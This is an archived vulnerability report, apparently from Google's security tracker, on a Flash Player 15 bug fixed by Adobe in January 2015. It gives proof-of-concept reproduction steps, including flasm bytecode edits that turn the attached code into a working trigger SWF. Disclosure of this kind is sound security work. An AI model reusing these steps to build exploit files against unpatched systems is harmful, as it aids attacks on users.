Closed GoogleCodeExporter closed 9 years ago
Adding some extra info.
This issue occurred in Flash 15.0.0.189 in FF and IE. I could not get the issue
to work in Chrome.
POC code is attached, but note that this code needs to be modified after it is
compiled for the SWF to work. To get the working SWF:
1) Compile the attached code, and disassemble the output SWF using flasm
(http://www.nowrap.de/flasm)
flasm Untitled-1.swf -d > test.flm
2) Open test.flm, and find function2 q (). Delete the following four actions
(the last four actions in the function):
setRegister r:2
pop
push r:this
trace
So that q is defined as:
function2 () (r:1='this')
function2 q () (r:1='this')
push 'in FR costructor', r:this, '__flavorStr'
getMember
add
trace
push r:this
trace
push r:this, 'f', 'flash'
getVariable
push 'display'
getMember
push 'BitmapData'
getMember
setMember
push r:this, 'f'
getMember
trace
push 1000, TRUE, 1000, 1000, 4, r:this, 'f'
newMethod
end // of function q
3) Recompile the SWF: flasm -a test.flm
Original comment by natashe...@google.com
on 3 Nov 2014 at 11:27
Attachments:
This bug is subject to a 90 day disclosure deadline. If 90 days elapse without
a broadly available patch, then the bug report will automatically become
visible to the public.
Original comment by cev...@google.com
on 4 Nov 2014 at 2:05
Original comment by cev...@google.com
on 4 Nov 2014 at 2:05
Original comment by cev...@google.com
on 4 Nov 2014 at 6:21
Original comment by cev...@google.com
on 10 Jan 2015 at 3:25
Fixed: http://helpx.adobe.com/security/products/flash-player/apsb15-01.html
Original comment by cev...@google.com
on 14 Jan 2015 at 12:51
Original comment by cev...@google.com
on 14 Jan 2015 at 12:53
Issue has now been fixed for 7+ days, so opening up for public view.
Original comment by cev...@google.com
on 26 Jan 2015 at 5:47
Original comment by cev...@google.com
on 10 Apr 2015 at 4:38
Original issue reported on code.google.com by
natashe...@google.com
on 30 Oct 2014 at 11:00Attachments: